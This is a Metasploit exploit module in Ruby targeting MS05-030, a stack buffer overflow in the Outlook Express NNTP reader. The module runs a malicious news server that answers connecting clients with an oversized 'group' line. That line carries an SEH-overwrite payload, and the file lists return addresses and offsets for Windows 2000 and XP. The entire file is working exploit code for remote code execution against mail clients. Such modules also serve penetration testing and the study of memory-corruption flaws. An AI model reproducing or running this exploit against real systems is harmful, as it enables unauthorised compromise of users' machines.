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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the news reader of Microsoft
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        Outlook Express.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-1213' ],
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          [ 'OSVDB', '17306' ],
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          [ 'BID', '13951' ],
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          [ 'MSB', 'MS05-030' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'AllowWin32SEH' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 750,
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          'BadChars' => "\x00",
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          'MaxNops'  => 0,
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          'StackAdjustment' => -3500,
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          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],
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          ['Windows XP English SP0/SP1',   { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2005-06-14',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])
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      ])
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  end
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  def on_client_connect(client)
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    yup = "200\r\n"
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    client.put(yup)
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    client.put(yup)
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  end
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  def on_client_data(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    filler =  "215 list\r\n" + "group "
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    filler << rand_text_english(target['Offset'])
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    seh    =  generate_seh_payload(target.ret)
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    sploit =  filler + seh + " 1 y\r\n\.\r\n"
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    print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
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    client.put(sploit)
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    handler
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    service.close_client(client)
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  end
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end
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